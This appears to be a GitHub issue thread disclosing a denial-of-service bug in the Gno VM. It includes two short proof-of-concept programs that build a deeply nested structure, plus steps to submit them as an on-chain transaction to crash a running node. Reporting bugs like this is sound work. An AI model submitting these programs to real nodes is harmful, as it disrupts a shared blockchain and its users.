Denial of service when creating deeply nested structure

[thehowl]

All credit to @bbarwik, just re-creating the issue from the original at #2738 which jumbled together two different issues.

Crashing VM by creating very deep structure which is very CPU-intensive to process:

func init() {
    var x interface{}    
    for {
        x = [1]interface{}{x}    
   }
}

or alternatively:

package main
func main() {
    var x interface{}    
    for i := 0; i < 10000; i++ {
        x = [1]interface{}{x}    
    }
    for i := 0; i < 10000; i++ {
        println(x)   
    }
}

I used the following test to reproduce these issues: crash_test.go.zip. You should put it in gno.land/pkg/sdk/vm and run it there with go test -v -run TestVMCrash.

This can be replicated by doing a gnokey maketx run on a running node with either of the two files.

[odeke-em]

Just for context and comparison though, even Go runs out of memory running the same program https://go.dev/play/p/bfn4_KIapaK

...
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
timeout running program

Program exited.

[thehowl]

@odeke-em yeah, and that's expected on gno run, however the problem is that this happens also when submitting the file as a MsgRun transaction; ie. it is dangerous because it can directly affect the chain.